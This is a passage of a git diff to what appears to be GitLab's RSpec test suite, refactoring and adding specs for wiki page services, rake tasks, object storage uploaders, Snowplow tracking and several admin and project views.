index 51a4a8b1cd9..4a08c0d4365 100644
--- a/spec/support/shared_examples/services/snippets_shared_examples.rb
+++ b/spec/support/shared_examples/services/snippets_shared_examples.rb
@@ -40,3 +40,20 @@ RSpec.shared_examples 'snippets spam check is performed' do
end
end
end
+
+shared_examples 'invalid params error response' do
+ before do
+ allow_next_instance_of(described_class) do |service|
+ allow(service).to receive(:valid_params?).and_return false
+ end
+ end
+
+ it 'responds to errors appropriately' do
+ response = subject
+
+ aggregate_failures do
+ expect(response).to be_error
+ expect(response.http_status).to eq 422
+ end
+ end
+end
diff --git a/spec/support/shared_examples/services/wiki_pages/destroy_service_shared_examples.rb b/spec/support/shared_examples/services/wiki_pages/destroy_service_shared_examples.rb
index db1b50fdf3c..ffdd0c36cfc 100644
--- a/spec/support/shared_examples/services/wiki_pages/destroy_service_shared_examples.rb
+++ b/spec/support/shared_examples/services/wiki_pages/destroy_service_shared_examples.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
RSpec.shared_examples 'WikiPages::DestroyService#execute' do |container_type|
- let(:container) { create(container_type) }
+ let(:container) { create(container_type) } # rubocop:disable Rails/SaveBang
let(:user) { create(:user) }
let(:page) { create(:wiki_page) }
@@ -32,9 +32,19 @@ RSpec.shared_examples 'WikiPages::DestroyService#execute' do |container_type|
)
end
- it 'does not increment the delete count if the deletion failed' do
- counter = Gitlab::UsageDataCounters::WikiPageCounter
+ context 'when the deletion fails' do
+ before do
+ expect(page).to receive(:delete).and_return(false)
+ end
+
+ it 'returns an error response' do
+ response = service.execute(page)
+ expect(response).to be_error
+ end
- expect { service.execute(nil) }.not_to change { counter.read(:delete) }
+ it 'does not increment the delete count if the deletion failed' do
+ counter = Gitlab::UsageDataCounters::WikiPageCounter
+ expect { service.execute(page) }.not_to change { counter.read(:delete) }
+ end
end
end
diff --git a/spec/support/shared_examples/services/wiki_pages/update_service_shared_examples.rb b/spec/support/shared_examples/services/wiki_pages/update_service_shared_examples.rb
index 0191a6dfbc9..fd10dd4367e 100644
--- a/spec/support/shared_examples/services/wiki_pages/update_service_shared_examples.rb
+++ b/spec/support/shared_examples/services/wiki_pages/update_service_shared_examples.rb
@@ -19,8 +19,10 @@ RSpec.shared_examples 'WikiPages::UpdateService#execute' do |container_type|
subject(:service) { described_class.new(container: container, current_user: user, params: opts) }
it 'updates the wiki page' do
- updated_page = service.execute(page)
+ response = service.execute(page)
+ updated_page = response.payload[:page]
+ expect(response).to be_success
expect(updated_page).to be_valid
expect(updated_page.message).to eq(opts[:message])
expect(updated_page.content).to eq(opts[:content])
@@ -81,7 +83,11 @@ RSpec.shared_examples 'WikiPages::UpdateService#execute' do |container_type|
end
it 'reports the error' do
- expect(service.execute(page)).to be_invalid
+ response = service.execute(page)
+ page = response.payload[:page]
+
+ expect(response).to be_error
+ expect(page).to be_invalid
.and have_attributes(errors: be_present)
end
end
diff --git a/spec/support/shared_examples/uploaders/workers/object_storage/migrate_uploads_shared_examples.rb b/spec/support/shared_examples/uploaders/workers/object_storage/migrate_uploads_shared_examples.rb
index f143cbc7165..5a9a3dfc2d2 100644
--- a/spec/support/shared_examples/uploaders/workers/object_storage/migrate_uploads_shared_examples.rb
+++ b/spec/support/shared_examples/uploaders/workers/object_storage/migrate_uploads_shared_examples.rb
@@ -63,7 +63,7 @@ RSpec.shared_examples 'uploads migration worker' do
if success > 0
it 'outputs the reports' do
- expect(Rails.logger).to receive(:info).with(%r{Migrated #{success}/#{total} files})
+ expect(Gitlab::AppLogger).to receive(:info).with(%r{Migrated #{success}/#{total} files})
perform(uploads)
end
@@ -71,7 +71,7 @@ RSpec.shared_examples 'uploads migration worker' do
if failures > 0
it 'outputs upload failures' do
- expect(Rails.logger).to receive(:warn).with(/Error .* I am a teapot/)
+ expect(Gitlab::AppLogger).to receive(:warn).with(/Error .* I am a teapot/)
perform(uploads)
end
diff --git a/spec/support/snowplow.rb b/spec/support/snowplow.rb
new file mode 100644
index 00000000000..58812b8f4e6
--- /dev/null
+++ b/spec/support/snowplow.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+RSpec.configure do |config|
+ config.before(:each, :snowplow) do
+ # Using a high buffer size to not cause early flushes
+ buffer_size = 100
+ # WebMock is set up to allow requests to `localhost`
+ host = 'localhost'
+
+ allow(Gitlab::Tracking)
+ .to receive(:emitter)
+ .and_return(SnowplowTracker::Emitter.new(host, buffer_size: buffer_size))
+
+ stub_application_setting(snowplow_enabled: true)
+
+ allow(Gitlab::Tracking).to receive(:event).and_call_original
+ end
+
+ config.after(:each, :snowplow) do
+ Gitlab::Tracking.send(:snowplow).flush
+ end
+end
diff --git a/spec/support/test_reports/test_reports_helper.rb b/spec/support/test_reports/test_reports_helper.rb
index 6ba50c83b25..ad9ecb6f460 100644
--- a/spec/support/test_reports/test_reports_helper.rb
+++ b/spec/support/test_reports/test_reports_helper.rb
@@ -10,12 +10,12 @@ module TestReportsHelper
status: Gitlab::Ci::Reports::TestCase::STATUS_SUCCESS)
end
- def create_test_case_rspec_failed(name = 'test_spec')
+ def create_test_case_rspec_failed(name = 'test_spec', execution_time = 2.22)
Gitlab::Ci::Reports::TestCase.new(
name: 'Test#sum when a is 1 and b is 3 returns summary',
classname: "spec.#{name}",
file: './spec/test_spec.rb',
- execution_time: 2.22,
+ execution_time: execution_time,
system_output: sample_rspec_failed_message,
status: Gitlab::Ci::Reports::TestCase::STATUS_FAILED)
end
diff --git a/spec/tasks/gitlab/backup_rake_spec.rb b/spec/tasks/gitlab/backup_rake_spec.rb
index 6ac46712aa3..a2cc2b12e5e 100644
--- a/spec/tasks/gitlab/backup_rake_spec.rb
+++ b/spec/tasks/gitlab/backup_rake_spec.rb
@@ -160,7 +160,8 @@ RSpec.describe 'gitlab:app namespace rake task', :delete do
expect(raw_repo.empty?).to be(false)
end
end
- end # backup_restore task
+ end
+ # backup_restore task
describe 'backup' do
before do
@@ -391,7 +392,8 @@ RSpec.describe 'gitlab:app namespace rake task', :delete do
expect { run_rake_task('gitlab:backup:create') }.to output.to_stdout
end
end
- end # backup_create task
+ end
+ # backup_create task
describe "Skipping items" do
before do
@@ -486,4 +488,5 @@ RSpec.describe 'gitlab:app namespace rake task', :delete do
expect(backup_tar).to match(/\d+_\d{4}_\d{2}_\d{2}_\d+\.\d+\.\d+.*_gitlab_backup.tar$/)
end
end
-end # gitlab:app namespace
+end
+# gitlab:app namespace
diff --git a/spec/tasks/gitlab/db_rake_spec.rb b/spec/tasks/gitlab/db_rake_spec.rb
index a78506803be..99efd394e83 100644
--- a/spec/tasks/gitlab/db_rake_spec.rb
+++ b/spec/tasks/gitlab/db_rake_spec.rb
@@ -164,9 +164,31 @@ RSpec.describe 'gitlab:db namespace rake task' do
end
end
- def run_rake_task(task_name)
+ describe 'reindex' do
+ context 'when no index_name is given' do
+ it 'raises an error' do
+ expect do
+ run_rake_task('gitlab:db:reindex', '')
+ end.to raise_error(ArgumentError, /must give the index name/)
+ end
+ end
+
+ it 'calls the index rebuilder with the proper arguments' do
+ reindex = double('rebuilder')
+
+ expect(Gitlab::Database::ConcurrentReindex).to receive(:new)
+ .with('some_index_name', logger: instance_of(Logger))
+ .and_return(reindex)
+
+ expect(reindex).to receive(:execute)
+
+ run_rake_task('gitlab:db:reindex', '[some_index_name]')
+ end
+ end
+
+ def run_rake_task(task_name, arguments = '')
Rake::Task[task_name].reenable
- Rake.application.invoke_task task_name
+ Rake.application.invoke_task("#{task_name}#{arguments}")
end
def expect_multiple_executions_of_task(test_task_name, task_to_invoke, count: 2)
diff --git a/spec/tasks/gitlab/usage_data_rake_spec.rb b/spec/tasks/gitlab/usage_data_rake_spec.rb
new file mode 100644
index 00000000000..0ee6fbef53f
--- /dev/null
+++ b/spec/tasks/gitlab/usage_data_rake_spec.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+require 'rake_helper'
+
+RSpec.describe 'gitlab:usage data take tasks' do
+ before do
+ Rake.application.rake_require 'tasks/gitlab/usage_data'
+ # stub prometheus external http calls https://gitlab.com/gitlab-org/gitlab/-/issues/245277
+ stub_request(:get, %r{^http[s]?://::1:9090/-/ready})
+ .to_return(
+ status: 200,
+ body: [{}].to_json,
+ headers: { 'Content-Type' => 'application/json' }
+ )
+
+ stub_request(:get, %r{^http[s]?://::1:9090/api/v1/query\?query=.*})
+ .to_return(
+ status: 200,
+ body: [{}].to_json,
+ headers: { 'Content-Type' => 'application/json' }
+ )
+ end
+
+ describe 'dump_sql_in_yaml' do
+ it 'dumps SQL queries in yaml format' do
+ expect { run_rake_task('gitlab:usage_data:dump_sql_in_yaml') }.to output(/.*recorded_at:.*/).to_stdout
+ end
+ end
+
+ describe 'dump_sql_in_json' do
+ it 'dumps SQL queries in json format' do
+ expect { run_rake_task('gitlab:usage_data:dump_sql_in_json') }.to output(/.*"recorded_at":.*/).to_stdout
+ end
+ end
+end
diff --git a/spec/uploaders/object_storage_spec.rb b/spec/uploaders/object_storage_spec.rb
index 12c936e154b..c73a9a7aab1 100644
--- a/spec/uploaders/object_storage_spec.rb
+++ b/spec/uploaders/object_storage_spec.rb
@@ -210,6 +210,27 @@ RSpec.describe ObjectStorage do
end
end
+ describe '#use_open_file' do
+ context 'when file is stored locally' do
+ it "returns the file" do
+ expect { |b| uploader.use_open_file(&b) }.to yield_with_args(an_instance_of(ObjectStorage::Concern::OpenFile))
+ end
+ end
+
+ context 'when file is stored remotely' do
+ let(:store) { described_class::Store::REMOTE }
+
+ before do
+ stub_artifacts_object_storage
+ stub_request(:get, %r{s3.amazonaws.com/#{uploader.path}}).to_return(status: 200, body: '')
+ end
+
+ it "returns the file" do
+ expect { |b| uploader.use_open_file(&b) }.to yield_with_args(an_instance_of(ObjectStorage::Concern::OpenFile))
+ end
+ end
+ end
+
describe '#migrate!' do
subject { uploader.migrate!(new_store) }
@@ -414,28 +435,38 @@ RSpec.describe ObjectStorage do
subject { uploader_class.workhorse_authorize(has_length: has_length, maximum_size: maximum_size) }
- shared_examples 'uses local storage' do
+ shared_examples 'returns the maximum size given' do
it "returns temporary path" do
- is_expected.to have_key(:TempPath)
+ expect(subject[:MaximumSize]).to eq(maximum_size)
+ end
+ end
+
+ shared_examples 'uses local storage' do
+ it_behaves_like 'returns the maximum size given' do
+ it "returns temporary path" do
+ is_expected.to have_key(:TempPath)
- expect(subject[:TempPath]).to start_with(uploader_class.root)
- expect(subject[:TempPath]).to include(described_class::TMP_UPLOAD_PATH)
+ expect(subject[:TempPath]).to start_with(uploader_class.root)
+ expect(subject[:TempPath]).to include(described_class::TMP_UPLOAD_PATH)
+ end
end
end
shared_examples 'uses remote storage' do
- it "returns remote store" do
- is_expected.to have_key(:RemoteObject)
+ it_behaves_like 'returns the maximum size given' do
+ it "returns remote store" do
+ is_expected.to have_key(:RemoteObject)
- expect(subject[:RemoteObject]).to have_key(:ID)
- expect(subject[:RemoteObject]).to include(Timeout: a_kind_of(Integer))
- expect(subject[:RemoteObject][:Timeout]).to be(ObjectStorage::DirectUpload::TIMEOUT)
- expect(subject[:RemoteObject]).to have_key(:GetURL)
- expect(subject[:RemoteObject]).to have_key(:DeleteURL)
- expect(subject[:RemoteObject]).to have_key(:StoreURL)
- expect(subject[:RemoteObject][:GetURL]).to include(described_class::TMP_UPLOAD_PATH)
- expect(subject[:RemoteObject][:DeleteURL]).to include(described_class::TMP_UPLOAD_PATH)
- expect(subject[:RemoteObject][:StoreURL]).to include(described_class::TMP_UPLOAD_PATH)
+ expect(subject[:RemoteObject]).to have_key(:ID)
+ expect(subject[:RemoteObject]).to include(Timeout: a_kind_of(Integer))
+ expect(subject[:RemoteObject][:Timeout]).to be(ObjectStorage::DirectUpload::TIMEOUT)
+ expect(subject[:RemoteObject]).to have_key(:GetURL)
+ expect(subject[:RemoteObject]).to have_key(:DeleteURL)
+ expect(subject[:RemoteObject]).to have_key(:StoreURL)
+ expect(subject[:RemoteObject][:GetURL]).to include(described_class::TMP_UPLOAD_PATH)
+ expect(subject[:RemoteObject][:DeleteURL]).to include(described_class::TMP_UPLOAD_PATH)
+ expect(subject[:RemoteObject][:StoreURL]).to include(described_class::TMP_UPLOAD_PATH)
+ end
end
end
@@ -834,4 +865,19 @@ RSpec.describe ObjectStorage do
end
end
end
+
+ describe 'OpenFile' do
+ subject { ObjectStorage::Concern::OpenFile.new(file) }
+
+ let(:file) { double(read: true, size: true, path: true) }
+
+ it 'delegates read and size methods' do
+ expect(subject.read).to eq(true)
+ expect(subject.size).to eq(true)
+ end
+
+ it 'does not delegate path method' do
+ expect { subject.path }.to raise_error(NoMethodError)
+ end
+ end
end
diff --git a/spec/uploaders/terraform/versioned_state_uploader_spec.rb b/spec/uploaders/terraform/versioned_state_uploader_spec.rb
new file mode 100644
index 00000000000..ecc3f943480
--- /dev/null
+++ b/spec/uploaders/terraform/versioned_state_uploader_spec.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Terraform::VersionedStateUploader do
+ subject { model.file }
+
+ let(:model) { create(:terraform_state_version, :with_file) }
+
+ before do
+ stub_terraform_state_object_storage
+ end
+
+ describe '#filename' do
+ it 'contains the UUID of the terraform state record' do
+ expect(subject.filename).to eq("#{model.version}.tfstate")
+ end
+ end
+
+ describe '#store_dir' do
+ it 'hashes the project ID and UUID' do
+ expect(Gitlab::HashedPath).to receive(:new)
+ .with(model.uuid, root_hash: model.project_id)
+ .and_return(:store_dir)
+
+ expect(subject.store_dir).to eq(:store_dir)
+ end
+ end
+end
diff --git a/spec/views/admin/application_settings/_package_registry.html.haml_spec.rb b/spec/views/admin/application_settings/_package_registry.html.haml_spec.rb
new file mode 100644
index 00000000000..ef40829c29b
--- /dev/null
+++ b/spec/views/admin/application_settings/_package_registry.html.haml_spec.rb
@@ -0,0 +1,65 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'admin/application_settings/_package_registry' do
+ let_it_be(:admin) { create(:admin) }
+ let_it_be(:default_plan_limits) { create(:plan_limits, :default_plan, :with_package_file_sizes) }
+ let_it_be(:application_setting) { build(:application_setting) }
+ let(:page) { Capybara::Node::Simple.new(rendered) }
+
+ before do
+ assign(:application_setting, application_setting)
+ allow(view).to receive(:current_user) { admin }
+ allow(view).to receive(:expanded) { true }
+ end
+
+ subject { render partial: 'admin/application_settings/package_registry' }
+
+ context 'package file size limits' do
+ before do
+ assign(:plans, [default_plan_limits.plan])
+ end
+
+ it 'has fields for max package file sizes' do
+ subject
+
+ expect(rendered).to have_field('Maximum Conan package file size in bytes', type: 'number')
+ expect(page.find_field('Maximum Conan package file size in bytes').value).to eq(default_plan_limits.conan_max_file_size.to_s)
+
+ expect(rendered).to have_field('Maximum Maven package file size in bytes', type: 'number')
+ expect(page.find_field('Maximum Maven package file size in bytes').value).to eq(default_plan_limits.maven_max_file_size.to_s)
+
+ expect(rendered).to have_field('Maximum NPM package file size in bytes', type: 'number')
+ expect(page.find_field('Maximum NPM package file size in bytes').value).to eq(default_plan_limits.npm_max_file_size.to_s)
+
+ expect(rendered).to have_field('Maximum NuGet package file size in bytes', type: 'number')
+ expect(page.find_field('Maximum NuGet package file size in bytes').value).to eq(default_plan_limits.nuget_max_file_size.to_s)
+
+ expect(rendered).to have_field('Maximum PyPI package file size in bytes', type: 'number')
+ expect(page.find_field('Maximum PyPI package file size in bytes').value).to eq(default_plan_limits.pypi_max_file_size.to_s)
+ end
+
+ it 'does not display the plan name when there is only one plan' do
+ subject
+
+ expect(page).not_to have_content('Default')
+ end
+ end
+
+ context 'with multiple plans' do
+ let_it_be(:plan) { create(:plan, name: 'Gold') }
+ let_it_be(:gold_plan_limits) { create(:plan_limits, :with_package_file_sizes, plan: plan) }
+
+ before do
+ assign(:plans, [default_plan_limits.plan, gold_plan_limits.plan])
+ end
+
+ it 'displays the plan name when there is more than one plan' do
+ subject
+
+ expect(page).to have_content('Default')
+ expect(page).to have_content('Gold')
+ end
+ end
+end
diff --git a/spec/views/admin/services/index.html.haml_spec.rb b/spec/views/admin/services/index.html.haml_spec.rb
new file mode 100644
index 00000000000..e8cd2dde67e
--- /dev/null
+++ b/spec/views/admin/services/index.html.haml_spec.rb
@@ -0,0 +1,30 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'admin/services/index.html.haml' do
+ before do
+ assign(:services, build_stubbed_list(:service, 1))
+ assign(:existing_instance_types, [])
+ end
+
+ context 'user has not dismissed Service Templates deprecation message' do
+ it 'shows the message' do
+ allow(view).to receive(:show_service_templates_deprecated?).and_return(true)
+
+ render
+
+ expect(rendered).to have_content('Service Templates will soon be deprecated.')
+ end
+ end
+
+ context 'user has dismissed Service Templates deprecation message' do
+ it 'does not show the message' do
+ allow(view).to receive(:show_service_templates_deprecated?).and_return(false)
+
+ render
+
+ expect(rendered).not_to have_content('Service Templates will soon be deprecated.')
+ end
+ end
+end
diff --git a/spec/views/admin/sessions/two_factor.html.haml_spec.rb b/spec/views/admin/sessions/two_factor.html.haml_spec.rb
index 9c5ff9925c1..c7e0edbcd58 100644
--- a/spec/views/admin/sessions/two_factor.html.haml_spec.rb
+++ b/spec/views/admin/sessions/two_factor.html.haml_spec.rb
@@ -32,6 +32,10 @@ RSpec.describe 'admin/sessions/two_factor.html.haml' do
context 'user has u2f active' do
let(:user) { create(:admin, :two_factor_via_u2f) }
+ before do
+ stub_feature_flags(webauthn: false)
+ end
+
it 'shows enter u2f form' do
render
diff --git a/spec/views/layouts/nav/sidebar/_admin.html.haml_spec.rb b/spec/views/layouts/nav/sidebar/_admin.html.haml_spec.rb
index d1e756422d5..777dc0c8571 100644
--- a/spec/views/layouts/nav/sidebar/_admin.html.haml_spec.rb
+++ b/spec/views/layouts/nav/sidebar/_admin.html.haml_spec.rb
@@ -66,6 +66,14 @@ RSpec.describe 'layouts/nav/sidebar/_admin' do
it_behaves_like 'page has active tab', 'Messages'
end
+ context 'on analytics' do
+ before do
+ allow(controller).to receive(:controller_name).and_return('dev_ops_report')
+ end
+
+ it_behaves_like 'page has active tab', 'Analytics'
+ end
+
context 'on hooks' do
before do
allow(controller).to receive(:controller_name).and_return('hooks')
diff --git a/spec/views/layouts/nav/sidebar/_instance_statistics.html.haml_spec.rb b/spec/views/layouts/nav/sidebar/_instance_statistics.html.haml_spec.rb
deleted file mode 100644
index d3b57f6dfcf..00000000000
--- a/spec/views/layouts/nav/sidebar/_instance_statistics.html.haml_spec.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe 'layouts/nav/sidebar/_instance_statistics' do
- it_behaves_like 'has nav sidebar'
-end
diff --git a/spec/views/notify/autodevops_disabled_email.text.erb_spec.rb b/spec/views/notify/autodevops_disabled_email.text.erb_spec.rb
new file mode 100644
index 00000000000..c3cb0c83f35
--- /dev/null
+++ b/spec/views/notify/autodevops_disabled_email.text.erb_spec.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'notify/autodevops_disabled_email.text.erb' do
+ include Devise::Test::ControllerHelpers
+
+ let(:user) { create(:user, developer_projects: [project]) }
+ let(:project) { create(:project, :repository) }
+
+ let(:pipeline) do
+ create(:ci_pipeline,
+ :failed,
+ project: project,
+ user: user,
+ ref: project.default_branch,
+ sha: project.commit.sha)
+ end
+
+ before do
+ assign(:project, project)
+ assign(:pipeline, pipeline)
+ end
+
+ context 'when the pipeline contains a failed job' do
+ let!(:build) { create(:ci_build, :failed, :trace_live, pipeline: pipeline, project: pipeline.project) }
+
+ it 'renders the email correctly' do
+ render
+
+ expect(rendered).to have_content("Auto DevOps pipeline was disabled for #{project.name}")
+ expect(rendered).to match(/Pipeline ##{pipeline.id} .* triggered by #{pipeline.user.name}/)
+ expect(rendered).to have_content("Stage: #{build.stage}")
+ expect(rendered).to have_content("Name: #{build.name}")
+ expect(rendered).not_to have_content("Trace:")
+ end
+ end
+end
diff --git a/spec/views/projects/ci/lints/show.html.haml_spec.rb b/spec/views/projects/ci/lints/show.html.haml_spec.rb
index a71cea6d3c8..f59ad3f5f84 100644
--- a/spec/views/projects/ci/lints/show.html.haml_spec.rb
+++ b/spec/views/projects/ci/lints/show.html.haml_spec.rb
@@ -4,16 +4,16 @@ require 'spec_helper'
RSpec.describe 'projects/ci/lints/show' do
include Devise::Test::ControllerHelpers
- let(:project) { create(:project, :repository) }
- let(:config_processor) { Gitlab::Ci::YamlProcessor.new(YAML.dump(content)) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project, :repository) }
+ let(:lint) { Gitlab::Ci::Lint.new(project: project, current_user: user) }
+ let(:result) { lint.validate(YAML.dump(content)) }
describe 'XSS protection' do
before do
assign(:project, project)
- assign(:status, true)
- assign(:builds, config_processor.builds)
- assign(:stages, config_processor.stages)
- assign(:jobs, config_processor.jobs)
+ assign(:result, result)
+ stub_feature_flags(ci_lint_vue: false)
end
context 'when builds attrbiutes contain HTML nodes' do
@@ -66,10 +66,8 @@ RSpec.describe 'projects/ci/lints/show' do
before do
assign(:project, project)
- assign(:status, true)
- assign(:builds, config_processor.builds)
- assign(:stages, config_processor.stages)
- assign(:jobs, config_processor.jobs)
+ assign(:result, result)
+ stub_feature_flags(ci_lint_vue: false)
end
it 'shows the correct values' do
@@ -85,13 +83,13 @@ RSpec.describe 'projects/ci/lints/show' do
context 'when content has warnings' do
before do
- assign(:warnings, ['Warning 1', 'Warning 2'])
+ allow(result).to receive(:warnings).and_return(['Warning 1', 'Warning 2'])
end
it 'shows warning messages' do
render
- expect(rendered).to have_content('Warning:')
+ expect(rendered).to have_content('2 warning(s) found:')
expect(rendered).to have_content('Warning 1')
expect(rendered).to have_content('Warning 2')
end
@@ -99,11 +97,15 @@ RSpec.describe 'projects/ci/lints/show' do
end
context 'when the content is invalid' do
+ let(:content) { double(:content) }
+
before do
+ allow(result).to receive(:warnings).and_return(['Warning 1', 'Warning 2'])
+ allow(result).to receive(:errors).and_return(['Undefined error'])
+
assign(:project, project)
- assign(:status, false)
- assign(:errors, ['Undefined error'])
- assign(:warnings, ['Warning 1', 'Warning 2'])
+ assign(:result, result)
+ stub_feature_flags(ci_lint_vue: false)
end
it 'shows error message' do
@@ -117,7 +119,7 @@ RSpec.describe 'projects/ci/lints/show' do
it 'shows warning messages' do
render
- expect(rendered).to have_content('Warning:')
+ expect(rendered).to have_content('2 warning(s) found:')
expect(rendered).to have_content('Warning 1')
expect(rendered).to have_content('Warning 2')
end
diff --git a/spec/views/projects/merge_requests/edit.html.haml_spec.rb b/spec/views/projects/merge_requests/edit.html.haml_spec.rb
index 55a74dc8229..215d404e395 100644
--- a/spec/views/projects/merge_requests/edit.html.haml_spec.rb
+++ b/spec/views/projects/merge_requests/edit.html.haml_spec.rb
@@ -20,6 +20,7 @@ RSpec.describe 'projects/merge_requests/edit.html.haml' do
target_project: project,
author: user,
assignees: [user],
+ reviewers: [user],
milestone: milestone)
end
diff --git a/spec/views/projects/pipelines/new.html.haml_spec.rb b/spec/views/projects/pipelines/new.html.haml_spec.rb
index 2deacfa8478..9c5e46b6a17 100644
--- a/spec/views/projects/pipelines/new.html.haml_spec.rb
+++ b/spec/views/projects/pipelines/new.html.haml_spec.rb
@@ -26,7 +26,7 @@ RSpec.describe 'projects/pipelines/new' do
it 'displays the warnings' do
render
- expect(rendered).to have_css('div.alert-warning')
+ expect(rendered).to have_css('div.bs-callout-warning')
expect(rendered).to have_content('warning 1')
expect(rendered).to have_content('warning 2')
end
diff --git a/spec/views/projects/pipelines/show.html.haml_spec.rb b/spec/views/projects/pipelines/show.html.haml_spec.rb
index 49add434ab5..b998023b40e 100644
--- a/spec/views/projects/pipelines/show.html.haml_spec.rb
+++ b/spec/views/projects/pipelines/show.html.haml_spec.rb
@@ -16,24 +16,6 @@ RSpec.describe 'projects/pipelines/show' do
stub_feature_flags(new_pipeline_form: false)
end
- shared_examples 'pipeline with warning messages' do
- let(:warning_messages) do
- [double(content: 'warning 1'), double(content: 'warning 2')]
- end
-
- before do
- allow(pipeline).to receive(:warning_messages).and_return(warning_messages)
- end
-
- it 'displays the warnings' do
- render
-
- expect(rendered).to have_css('.bs-callout-warning')
- expect(rendered).to have_content('warning 1')
- expect(rendered).to have_content('warning 2')
- end
- end
-
context 'when pipeline has errors' do
before do
allow(pipeline).to receive(:yaml_errors).and_return('some errors')
@@ -51,10 +33,6 @@ RSpec.describe 'projects/pipelines/show' do
expect(rendered).not_to have_css('ul.pipelines-tabs')
end
-
- context 'when pipeline has also warnings' do
- it_behaves_like 'pipeline with warning messages'
- end
end
context 'when pipeline is valid' do
@@ -69,9 +47,5 @@ RSpec.describe 'projects/pipelines/show' do
expect(rendered).to have_css('ul.pipelines-tabs')
end
-
- context 'when pipeline has warnings' do
- it_behaves_like 'pipeline with warning messages'
- end
end
end
diff --git a/spec/views/registrations/welcome.html.haml_spec.rb b/spec/views/registrations/welcome.html.haml_spec.rb
new file mode 100644
index 00000000000..56a7784a134
--- /dev/null
+++ b/spec/views/registrations/welcome.html.haml_spec.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'registrations/welcome' do
+ using RSpec::Parameterized::TableSyntax
+
+ let_it_be(:user) { User.new }
+
+ before do
+ allow(view).to receive(:current_user).and_return(user)
+ allow(view).to receive(:in_subscription_flow?).and_return(false)
+ allow(view).to receive(:in_trial_flow?).and_return(false)
+ allow(view).to receive(:in_invitation_flow?).and_return(false)
+ allow(view).to receive(:in_oauth_flow?).and_return(false)
+ allow(view).to receive(:experiment_enabled?).with(:onboarding_issues).and_return(false)
+ allow(Gitlab).to receive(:com?).and_return(false)
+
+ render
+ end
+
+ subject { rendered }
+
+ it { is_expected.not_to have_selector('label[for="user_setup_for_company"]') }
+ it { is_expected.to have_button('Get started!') }
+end
diff --git a/spec/views/search/_results.html.haml_spec.rb b/spec/views/search/_results.html.haml_spec.rb
index cd7a3559538..9e95dc40ff8 100644
--- a/spec/views/search/_results.html.haml_spec.rb
+++ b/spec/views/search/_results.html.haml_spec.rb
@@ -3,13 +3,16 @@
require 'spec_helper'
RSpec.describe 'search/_results' do
+ let(:search_objects) { Issue.page(1).per(2) }
+ let(:scope) { 'issues' }
+
before do
controller.params[:action] = 'show'
create_list(:issue, 3)
- @search_objects = Issue.page(1).per(2)
- @scope = 'issues'
+ @search_objects = search_objects
+ @scope = scope
@search_term = 'foo'
end
@@ -30,4 +33,34 @@ RSpec.describe 'search/_results' do
expect(rendered).not_to have_content(/Showing .* of .*/)
end
end
+
+ context 'rendering all types of search results' do
+ let_it_be(:project) { create(:project, :repository, :wiki_repo) }
+ let_it_be(:issue) { create(:issue, project: project, title: '*') }
+ let_it_be(:merge_request) { create(:merge_request, title: '*', source_project: project, target_project: project) }
+ let_it_be(:milestone) { create(:milestone, title: '*', project: project) }
+ let_it_be(:note) { create(:discussion_note_on_issue, project: project, note: '*') }
+ let_it_be(:wiki_blob) { create(:wiki_page, project: project, content: '*') }
+ let_it_be(:user) { create(:admin) }
+
+ %w[issues blobs notes wiki_blobs merge_requests milestones].each do |search_scope|
+ context "when scope is #{search_scope}" do
+ let(:scope) { search_scope }
+ let(:search_objects) { Gitlab::ProjectSearchResults.new(user, '*', project: project).objects(scope) }
+
+ it 'renders the click text event tracking attributes' do
+ render
+
+ expect(rendered).to have_selector('[data-track-event=click_text]')
+ expect(rendered).to have_selector('[data-track-property=search_result]')
+ end
+
+ it 'renders the state filter drop down' do
+ render
+
+ expect(rendered).to have_selector('#js-search-filter-by-state')
+ end
+ end
+ end
+ end
end
diff --git a/spec/views/shared/deploy_tokens/_form.html.haml_spec.rb b/spec/views/shared/deploy_tokens/_form.html.haml_spec.rb
new file mode 100644
index 00000000000..3508ba8cca9
--- /dev/null
+++ b/spec/views/shared/deploy_tokens/_form.html.haml_spec.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'shared/deploy_tokens/_form.html.haml' do
+ using RSpec::Parameterized::TableSyntax
+
+ let_it_be(:user) { create(:user) }
+ let_it_be(:token) { build(:deploy_token) }
+
+ RSpec.shared_examples "display deploy token settings" do |role, shows_package_registry_permissions|
+ before do
+ subject.add_user(user, role)
+ allow(view).to receive(:current_user).and_return(user)
+ stub_config(packages: { enabled: packages_enabled })
+ end
+
+ it "correctly renders the form" do
+ render 'shared/deploy_tokens/form', token: token, group_or_project: subject
+
+ if shows_package_registry_permissions
+ expect(rendered).to have_content('Allows read access to the package registry')
+ else
+ expect(rendered).not_to have_content('Allows read access to the package registry')
+ end
+ end
+ end
+
+ context "when the subject is a project" do
+ let_it_be(:subject, refind: true) { create(:project, :private) }
+
+ where(:packages_enabled, :feature_enabled, :role, :shows_package_registry_permissions) do
+ true | true | :maintainer | true
+ false | true | :maintainer | false
+ true | false | :maintainer | false
+ false | false | :maintainer | false
+ end
+
+ with_them do
+ before do
+ subject.update!(packages_enabled: feature_enabled)
+ end
+
+ it_behaves_like 'display deploy token settings', params[:role], params[:shows_package_registry_permissions]
+ end
+ end
+
+ context "when the subject is a group" do
+ let_it_be(:subject, refind: true) { create(:group, :private) }
+
+ where(:packages_enabled, :role, :shows_package_registry_permissions) do
+ true | :owner | true
+ false | :owner | false
+ true | :maintainer | true
+ false | :maintainer | false
+ end
+
+ with_them do
+ it_behaves_like 'display deploy token settings', params[:role], params[:shows_package_registry_permissions]
+ end
+ end
+end
diff --git a/spec/workers/analytics/instance_statistics/count_job_trigger_worker_spec.rb b/spec/workers/analytics/instance_statistics/count_job_trigger_worker_spec.rb
new file mode 100644
index 00000000000..620900b3402
--- /dev/null
